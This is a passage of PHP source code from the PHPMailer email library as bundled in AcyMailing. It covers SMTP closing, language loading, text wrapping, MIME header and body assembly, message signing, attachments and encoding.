                } catch (acymailingphpmailerException $exc) {
                    $lastexception = $exc;
                    $this->edebug($exc->getMessage());
                    // We must have connected, but then failed TLS or Auth, so close connection nicely
                    $this->smtp->quit();
                }
            }
        }
        // If we get here, all connection attempts have failed, so close connection hard
        $this->smtp->close();
        // As we've caught all exceptions, just report whatever the last one was
        if ($this->exceptions and !is_null($lastexception)) {
            throw $lastexception;
        }
        return false;
    }

    /**
     * Close the active SMTP session if one exists.
     * @return void
     */
    public function smtpClose()
    {
        if (is_a($this->smtp, 'SMTP')) {
            if ($this->smtp->connected()) {
                $this->smtp->quit();
                $this->smtp->close();
            }
        }
    }

    /**
     * Set the language for error messages.
     * Returns false if it cannot load the language file.
     * The default language is English.
     * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
     * @param string $lang_path Path to the language file directory, with trailing separator (slash)
     * @return boolean
     * @access public
     */
    public function setLanguage($langcode = 'en', $lang_path = '')
    {
		// Backwards compatibility for renamed language codes
        $renamed_langcodes = array(
            'br' => 'pt_br',
            'cz' => 'cs',
            'dk' => 'da',
            'no' => 'nb',
            'se' => 'sv',
        );

        if (isset($renamed_langcodes[$langcode])) {
            $langcode = $renamed_langcodes[$langcode];
        }

        // Define full set of translatable strings in English
        $PHPMAILER_LANG = array(
            'authenticate' => 'SMTP Error: Could not authenticate.',
            'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
            'data_not_accepted' => 'SMTP Error: data not accepted.',
            'empty_message' => 'Message body empty',
            'encoding' => 'Unknown encoding: ',
            'execute' => 'Could not execute: ',
            'file_access' => 'Could not access file: ',
            'file_open' => 'File Error: Could not open file: ',
            'from_failed' => 'The following From address failed: ',
            'instantiate' => 'Could not instantiate mail function.',
            'invalid_address' => 'Invalid address: ',
            'mailer_not_supported' => ' mailer is not supported.',
            'provide_address' => 'You must provide at least one recipient email address.',
            'recipients_failed' => 'SMTP Error: The following recipients failed: ',
            'signing' => 'Signing Error: ',
            'smtp_connect_failed' => 'SMTP connect() failed.',
            'smtp_error' => 'SMTP server error: ',
            'variable_set' => 'Cannot set or reset variable: ',
            'extension_missing' => 'Extension missing: '
        );
        if (empty($lang_path)) {
            // Calculate an absolute path so it can work if CWD is not here
            $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
        }
		//Validate $langcode
        if (!preg_match('/^[a-z]{2}(?:_[a-zA-Z]{2})?$/', $langcode)) {
            $langcode = 'en';
        }
        $foundlang = true;
        $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
        // There is no English translation file
        if ($langcode != 'en') {
            // Make sure language file path is readable
            if (!is_readable($lang_file)) {
                $foundlang = false;
            } else {
                // Overwrite language-specific strings.
                // This way we'll never have missing translation keys.
                $foundlang = include $lang_file;
            }
        }
        $this->lang = $PHPMAILER_LANG;
        return (boolean)$foundlang; // Returns false if language not found
    }

    /**
     * Get the array of strings for the current language.
     * @return array
     */
    public function getTranslations()
    {
        return $this->lang;
    }

    /**
     * Create recipient headers.
     * @access public
     * @param string $type
     * @param array $addr An array of recipient,
     * where each recipient is a 2-element indexed array with element 0 containing an address
     * and element 1 containing a name, like:
     * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
     * @return string
     */
    public function addrAppend($type, $addr)
    {
        $addresses = array();
        foreach ($addr as $address) {
            $addresses[] = $this->addrFormat($address);
        }
        return $type . ': ' . implode(', ', $addresses) . $this->LE;
    }

    /**
     * Format an address for use in a message header.
     * @access public
     * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
     *      like array('joe@example.com', 'Joe User')
     * @return string
     */
    public function addrFormat($addr)
    {
        if (empty($addr[1])) { // No name provided
            return $this->secureHeader($addr[0]);
        } else {
            return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
                $addr[0]
            ) . '>';
        }
    }

    /**
     * Word-wrap message.
     * For use with mailers that do not automatically perform wrapping
     * and for quoted-printable encoded messages.
     * Original written by philippe.
     * @param string $message The message to wrap
     * @param integer $length The line length to wrap to
     * @param boolean $qp_mode Whether to run in Quoted-Printable mode
     * @access public
     * @return string
     */
    public function wrapText($message, $length, $qp_mode = false)
    {
        if ($qp_mode) {
            $soft_break = sprintf(' =%s', $this->LE);
        } else {
            $soft_break = $this->LE;
        }
        // If utf-8 encoding is used, we will need to make sure we don't
        // split multibyte characters when we wrap
        $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
        $lelen = strlen($this->LE);
        $crlflen = strlen(self::CRLF);

        $message = $this->fixEOL($message);
        //Remove a trailing line break
        if (substr($message, -$lelen) == $this->LE) {
            $message = substr($message, 0, -$lelen);
        }

        //Split message into lines
        $lines = explode($this->LE, $message);
        //Message will be rebuilt in here
        $message = '';
        foreach ($lines as $line) {
            $words = explode(' ', $line);
            $buf = '';
            $firstword = true;
            foreach ($words as $word) {
                if ($qp_mode and (strlen($word) > $length)) {
                    $space_left = $length - strlen($buf) - $crlflen;
                    if (!$firstword) {
                        if ($space_left > 20) {
                            $len = $space_left;
                            if ($is_utf8) {
                                $len = $this->utf8CharBoundary($word, $len);
                            } elseif (substr($word, $len - 1, 1) == '=') {
                                $len--;
                            } elseif (substr($word, $len - 2, 1) == '=') {
                                $len -= 2;
                            }
                            $part = substr($word, 0, $len);
                            $word = substr($word, $len);
                            $buf .= ' ' . $part;
                            $message .= $buf . sprintf('=%s', self::CRLF);
                        } else {
                            $message .= $buf . $soft_break;
                        }
                        $buf = '';
                    }
                    while (strlen($word) > 0) {
                        if ($length <= 0) {
                            break;
                        }
                        $len = $length;
                        if ($is_utf8) {
                            $len = $this->utf8CharBoundary($word, $len);
                        } elseif (substr($word, $len - 1, 1) == '=') {
                            $len--;
                        } elseif (substr($word, $len - 2, 1) == '=') {
                            $len -= 2;
                        }
                        $part = substr($word, 0, $len);
                        $word = substr($word, $len);

                        if (strlen($word) > 0) {
                            $message .= $part . sprintf('=%s', self::CRLF);
                        } else {
                            $buf = $part;
                        }
                    }
                } else {
                    $buf_o = $buf;
                    if (!$firstword) {
                        $buf .= ' ';
                    }
                    $buf .= $word;

                    if (strlen($buf) > $length and $buf_o != '') {
                        $message .= $buf_o . $soft_break;
                        $buf = $word;
                    }
                }
                $firstword = false;
            }
            $message .= $buf . self::CRLF;
        }

        return $message;
    }

    /**
     * Find the last character boundary prior to $maxLength in a utf-8
     * quoted-printable encoded string.
     * Original written by Colin Brown.
     * @access public
     * @param string $encodedText utf-8 QP text
     * @param integer $maxLength Find the last character boundary prior to this length
     * @return integer
     */
    public function utf8CharBoundary($encodedText, $maxLength)
    {
        $foundSplitPos = false;
        $lookBack = 3;
        while (!$foundSplitPos) {
            $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
            $encodedCharPos = strpos($lastChunk, '=');
            if (false !== $encodedCharPos) {
                // Found start of encoded character byte within $lookBack block.
                // Check the encoded byte value (the 2 chars after the '=')
                $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
                $dec = hexdec($hex);
                if ($dec < 128) {
                    // Single byte character.
                    // If the encoded char was found at pos 0, it will fit
                    // otherwise reduce maxLength to start of the encoded char
                    if ($encodedCharPos > 0) {
                        $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    }
                    $foundSplitPos = true;
                } elseif ($dec >= 192) {
                    // First byte of a multi byte character
                    // Reduce maxLength to split at start of character
                    $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    $foundSplitPos = true;
                } elseif ($dec < 192) {
                    // Middle byte of a multi byte character, look further back
                    $lookBack += 3;
                }
            } else {
                // No encoded character found
                $foundSplitPos = true;
            }
        }
        return $maxLength;
    }

    /**
     * Apply word wrapping to the message body.
     * Wraps the message body to the number of chars set in the WordWrap property.
     * You should only do this to plain-text bodies as wrapping HTML tags may break them.
     * This is called automatically by createBody(), so you don't need to call it yourself.
     * @access public
     * @return void
     */
    public function setWordWrap()
    {
        if ($this->WordWrap < 1) {
            return;
        }

        switch ($this->message_type) {
            case 'alt':
            case 'alt_inline':
            case 'alt_attach':
            case 'alt_inline_attach':
                $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
                break;
            default:
                $this->Body = $this->wrapText($this->Body, $this->WordWrap);
                break;
        }
    }

    /**
     * Assemble message headers.
     * @access public
     * @return string The assembled headers
     */
    public function createHeader()
    {
        $result = '';

        if ($this->MessageDate == '') {
            $this->MessageDate = self::rfcDate();
        }
        $result .= $this->headerLine('Date', $this->MessageDate);

        // To be created automatically by mail()
        if ($this->SingleTo) {
            if ($this->Mailer != 'mail') {
                foreach ($this->to as $toaddr) {
                    $this->SingleToArray[] = $this->addrFormat($toaddr);
                }
            }
        } else {
            if (count($this->to) > 0) {
                if ($this->Mailer != 'mail') {
                    $result .= $this->addrAppend('To', $this->to);
                }
            } elseif (count($this->cc) == 0) {
                $result .= $this->headerLine('To', 'undisclosed-recipients:;');
            }
        }

        $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));

        // sendmail and mail() extract Cc from the header before sending
        if (count($this->cc) > 0) {
            $result .= $this->addrAppend('Cc', $this->cc);
        }

        // sendmail and mail() extract Bcc from the header before sending
        if ((
                $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
            )
            and count($this->bcc) > 0
        ) {
            $result .= $this->addrAppend('Bcc', $this->bcc);
        }

        if (count($this->ReplyTo) > 0) {
            $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
        }

        // mail() sets the subject itself
        if ($this->Mailer != 'mail') {
            $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
        }

		// Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4
        // https://tools.ietf.org/html/rfc5322#section-3.6.4
        if ('' != $this->MessageID and preg_match('/^<.*@.*>$/', $this->MessageID)) {
            $this->lastMessageID = $this->MessageID;
        } else {
            $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
        }
        $result .= $this->headerLine('Message-ID', $this->lastMessageID);
        if (!is_null($this->Priority)) {
            $result .= $this->headerLine('X-Priority', $this->Priority);
        }
        if ($this->XMailer == '') {
            $result .= $this->headerLine(
                'X-Mailer',
                'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer)'
            );
        } else {
            $myXmailer = trim($this->XMailer);
            if ($myXmailer) {
                $result .= $this->headerLine('X-Mailer', $myXmailer);
            }
        }

        if ($this->ConfirmReadingTo != '') {
            $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
        }

        // Add custom headers
        foreach ($this->CustomHeader as $header) {
            $result .= $this->headerLine(
                trim($header[0]),
                $this->encodeHeader(trim($header[1]))
            );
        }
        if (!$this->sign_key_file) {
            $result .= $this->headerLine('MIME-Version', '1.0');
            $result .= $this->getMailMIME();
        }

        return $result;
    }

    /**
     * Get the message MIME type headers.
     * @access public
     * @return string
     */
    public function getMailMIME()
    {
        $result = '';
        $ismultipart = true;
        switch ($this->message_type) {
            case 'inline':
                $result .= $this->headerLine('Content-Type', 'multipart/related;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'attach':
            case 'inline_attach':
            case 'alt_attach':
            case 'alt_inline_attach':
                $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'alt':
            case 'alt_inline':
                $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            default:
                // Catches case 'plain': and case '':
                $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
                $ismultipart = false;
                break;
        }
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($this->Encoding != '7bit') {
            // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
            if ($ismultipart) {
                if ($this->Encoding == '8bit') {
                    $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
                }
                // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
            } else {
                $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
            }
        }

        if ($this->Mailer != 'mail') {
            $result .= $this->LE;
        }

        return $result;
    }

    /**
     * Returns the whole MIME message.
     * Includes complete headers and body.
     * Only valid post preSend().
     * @see PHPMailer::preSend()
     * @access public
     * @return string
     */
    public function getSentMIMEMessage()
    {
        return rtrim($this->MIMEHeader . $this->mailHeader, "\n\r") . self::CRLF . self::CRLF . $this->MIMEBody;
    }
	
	/**
     * Create unique ID
     * @return string
     */
    protected function generateId() {
        return md5(uniqid(time()));
    }

    /**
     * Assemble the message body.
     * Returns an empty string on failure.
     * @access public
     * @throws acymailingphpmailerException
     * @return string The assembled message body
     */
    public function createBody()
    {
        $body = '';
        //Create unique IDs and preset boundaries
        $this->uniqueid = $this->generateId();
        $this->boundary[1] = 'b1_' . $this->uniqueid;
        $this->boundary[2] = 'b2_' . $this->uniqueid;
        $this->boundary[3] = 'b3_' . $this->uniqueid;

        if ($this->sign_key_file) {
            $body .= $this->getMailMIME() . $this->LE;
        }

        $this->setWordWrap();

        $bodyEncoding = $this->Encoding;
        $bodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
            $bodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $bodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the body part only
        if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
            $bodyEncoding = 'quoted-printable';
        }

        $altBodyEncoding = $this->Encoding;
        $altBodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
            $altBodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $altBodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the alt body part only
        if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
            $altBodyEncoding = 'quoted-printable';
        }
        //Use this as a preamble in all multipart message types
        $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
        switch ($this->message_type) {
            case 'inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[1]);
                break;
            case 'attach':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                if (!empty($this->Ical)) {
                    $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
                    $body .= $this->encodeString($this->Ical, $this->Encoding);
                    $body .= $this->LE . $this->LE;
                }
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt_inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[2]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[3]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            default:
                // Catch case 'plain' and case '', applies to simple `text/plain` and `text/html` body content types
                //Reset the `Encoding` property in case we changed it for line length reasons
                $this->Encoding = $bodyEncoding;
                $body .= $this->encodeString($this->Body, $this->Encoding);
                break;
        }

        if ($this->isError()) {
            $body = '';
        } elseif ($this->sign_key_file) {
            try {
                if (!defined('PKCS7_TEXT')) {
                    throw new acymailingphpmailerException($this->lang('extension_missing') . 'openssl');
                }
                // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
                $file = tempnam(sys_get_temp_dir(), 'mail');
                if (false === file_put_contents($file, $body)) {
                    throw new acymailingphpmailerException($this->lang('signing') . ' Could not write temp file');
                }
                $signed = tempnam(sys_get_temp_dir(), 'signed');
                //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
                if (empty($this->sign_extracerts_file)) {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null
                    );
                } else {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null,
                        PKCS7_DETACHED,
                        $this->sign_extracerts_file
                    );
                }
                if ($sign) {
                    @unlink($file);
                    $body = file_get_contents($signed);
                    @unlink($signed);
                    //The message returned by openssl contains both headers and body, so need to split them up
                    $parts = explode("\n\n", $body, 2);
                    $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
                    $body = $parts[1];
                } else {
                    @unlink($file);
                    @unlink($signed);
                    throw new acymailingphpmailerException($this->lang('signing') . openssl_error_string());
                }
            } catch (acymailingphpmailerException $exc) {
                $body = '';
                if ($this->exceptions) {
                    throw $exc;
                }
            }
        }
        return $body;
    }

    /**
     * Return the start of a message boundary.
     * @access protected
     * @param string $boundary
     * @param string $charSet
     * @param string $contentType
     * @param string $encoding
     * @return string
     */
    protected function getBoundary($boundary, $charSet, $contentType, $encoding)
    {
        $result = '';
        if ($charSet == '') {
            $charSet = $this->CharSet;
        }
        if ($contentType == '') {
            $contentType = $this->ContentType;
        }
        if ($encoding == '') {
            $encoding = $this->Encoding;
        }
        $result .= $this->textLine('--' . $boundary);
        $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
        $result .= $this->LE;
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($encoding != '7bit') {
            $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
        }
        $result .= $this->LE;

        return $result;
    }

    /**
     * Return the end of a message boundary.
     * @access protected
     * @param string $boundary
     * @return string
     */
    protected function endBoundary($boundary)
    {
        return $this->LE . '--' . $boundary . '--' . $this->LE;
    }

    /**
     * Set the message type.
     * PHPMailer only supports some preset message types, not arbitrary MIME structures.
     * @access protected
     * @return void
     */
    protected function setMessageType()
    {
        $type = array();
        if ($this->alternativeExists()) {
            $type[] = 'alt';
        }
        if ($this->inlineImageExists()) {
            $type[] = 'inline';
        }
        if ($this->attachmentExists()) {
            $type[] = 'attach';
        }
        $this->message_type = implode('_', $type);
        if ($this->message_type == '') {
            //The 'plain' message_type refers to the message having a single body element, not that it is plain-text
            $this->message_type = 'plain';
        }
    }

    /**
     * Format a header line.
     * @access public
     * @param string $name
     * @param string $value
     * @return string
     */
    public function headerLine($name, $value)
    {
        return $name . ': ' . $value . $this->LE;
    }

    /**
     * Return a formatted mail line.
     * @access public
     * @param string $value
     * @return string
     */
    public function textLine($value)
    {
        return $value . $this->LE;
    }

    /**
     * Add an attachment from a path on the filesystem.
     * Returns false if the file could not be found or read.
     * @param string $path Path to the attachment.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @throws acymailingphpmailerException
     * @return boolean
     */
    public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
    {
        try {
            if (!@is_file($path)) {
                throw new acymailingphpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
            }

            // If a MIME type is not specified, try to work it out from the file name
            if ($type == '') {
                $type = self::filenameToType($path);
            }

            $filename = basename($path);
            if ($name == '') {
                $name = $filename;
            }

            $this->attachment[] = array(
                0 => $path,
                1 => $filename,
                2 => $name,
                3 => $encoding,
                4 => $type,
                5 => false, // isStringAttachment
                6 => $disposition,
                7 => 0
            );

        } catch (acymailingphpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
        return true;
    }

    /**
     * Return the array of attachments.
     * @return array
     */
    public function getAttachments()
    {
        return $this->attachment;
    }

    /**
     * Attach all file, string, and binary attachments to the message.
     * Returns an empty string on failure.
     * @access protected
     * @param string $disposition_type
     * @param string $boundary
     * @return string
     */
    protected function attachAll($disposition_type, $boundary)
    {
        // Return text of body
        $mime = array();
        $cidUniq = array();
        $incl = array();

        // Add all attachments
        foreach ($this->attachment as $attachment) {
            // Check if it is a valid disposition_filter
            if ($attachment[6] == $disposition_type) {
                // Check for string attachment
                $string = '';
                $path = '';
                $bString = $attachment[5];
                if ($bString) {
                    $string = $attachment[0];
                } else {
                    $path = $attachment[0];
                }

                $inclhash = md5(serialize($attachment));
                if (in_array($inclhash, $incl)) {
                    continue;
                }
                $incl[] = $inclhash;
                $name = $attachment[2];
                $encoding = $attachment[3];
                $type = $attachment[4];
                $disposition = $attachment[6];
                $cid = $attachment[7];
                if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
                    continue;
                }
                $cidUniq[$cid] = true;

                $mime[] = sprintf('--%s%s', $boundary, $this->LE);
                //Only include a filename property if we have one
                if (!empty($name)) {
                    $mime[] = sprintf(
                        'Content-Type: %s; name="%s"%s',
                        $type,
                        $this->encodeHeader($this->secureHeader($name)),
                        $this->LE
                    );
                } else {
                    $mime[] = sprintf(
                        'Content-Type: %s%s',
                        $type,
                        $this->LE
                    );
                }
                // RFC1341 part 5 says 7bit is assumed if not specified
                if ($encoding != '7bit') {
                    $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
                }

                if ($disposition == 'inline') {
                    $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
                }

                // If a filename contains any of these chars, it should be quoted,
                // but not otherwise: RFC2183 & RFC2045 5.1
                // Fixes a warning in IETF's msglint MIME checker
                // Allow for bypassing the Content-Disposition header totally
                if (!(empty($disposition))) {
                    $encoded_name = $this->encodeHeader($this->secureHeader($name));
                    if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
                        $mime[] = sprintf(
                            'Content-Disposition: %s; filename="%s"%s',
                            $disposition,
                            $encoded_name,
                            $this->LE . $this->LE
                        );
                    } else {
                        if (!empty($encoded_name)) {
                            $mime[] = sprintf(
                                'Content-Disposition: %s; filename=%s%s',
                                $disposition,
                                $encoded_name,
                                $this->LE . $this->LE
                            );
                        } else {
                            $mime[] = sprintf(
                                'Content-Disposition: %s%s',
                                $disposition,
                                $this->LE . $this->LE
                            );
                        }
                    }
                } else {
                    $mime[] = $this->LE;
                }

                // Encode as string attachment
                if ($bString) {
                    $mime[] = $this->encodeString($string, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                } else {
                    $mime[] = $this->encodeFile($path, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                }
            }
        }

        $mime[] = sprintf('--%s--%s', $boundary, $this->LE);

        return implode('', $mime);
    }

    /**
     * Encode a file attachment in requested format.
     * Returns an empty string on failure.
     * @param string $path The full path to the file
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @throws acymailingphpmailerException
     * @access protected
     * @return string
     */
    protected function encodeFile($path, $encoding = 'base64')
    {
        try {
            if (!is_readable($path)) {
                throw new acymailingphpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
            }
            $magic_quotes = get_magic_quotes_runtime();
            if (!empty($magic_quotes)) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime(false);
                } else {
                    //Doesn't exist in PHP 5.4, but we don't need to check because
                    //get_magic_quotes_runtime always returns false in 5.4+
                    //so it will never get here
                    ini_set('magic_quotes_runtime', false);
                }
            }
            $file_buffer = file_get_contents($path);
            $file_buffer = $this->encodeString($file_buffer, $encoding);
            if (!empty($magic_quotes)) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime($magic_quotes);
                } else {
                    ini_set('magic_quotes_runtime', $magic_quotes);
                }
            }
            return $file_buffer;
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            return '';
        }
    }

    /**
     * Encode a string in requested format.
     * Returns an empty string on failure.
     * @param string $str The text to encode
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @access public
     * @return string
     */
    public function encodeString($str, $encoding = 'base64')
    {
        $encoded = '';
        switch (strtolower($encoding)) {
            case 'base64':
                $encoded = chunk_split(base64_encode($str), 76, $this->LE);
                break;
            case '7bit':
            case '8bit':
                $encoded = $this->fixEOL($str);
                // Make sure it ends with a line break
                if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
                    $encoded .= $this->LE;
                }
                break;
            case 'binary':
                $encoded = $str;
                break;
            case 'quoted-printable':
                $encoded = $this->encodeQP($str);
                break;
            default:
                $this->setError($this->lang('encoding') . $encoding);
                break;
        }
        return $encoded;
    }

    /**
     * Encode a header string optimally.
     * Picks shortest of Q, B, quoted-printable or none.
     * @access public
     * @param string $str
     * @param string $position
     * @return string
     */
    public function encodeHeader($str, $position = 'text')
    {
        $matchcount = 0;
        switch (strtolower($position)) {
            case 'phrase':
                if (!preg_match('/[\200-\377]/', $str)) {
                    // Can't use addslashes as we don't know the value of magic_quotes_sybase
                    $encoded = addcslashes($str, "\0..\37\177\\\"");
                    if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
                        return ($encoded);
                    } else {
                        return ("\"$encoded\"");
                    }
                }
                $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                $matchcount = preg_match_all('/[()"]/', $str, $matches);
                // Intentional fall-through
            case 'text':
            default:
                $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
                break;
        }

        //There are no chars that need encoding
        if ($matchcount == 0) {
            return ($str);
        }

        $maxlen = 75 - 7 - strlen($this->CharSet);
        // Try to select the encoding which should produce the shortest output
        if ($matchcount > strlen($str) / 3) {
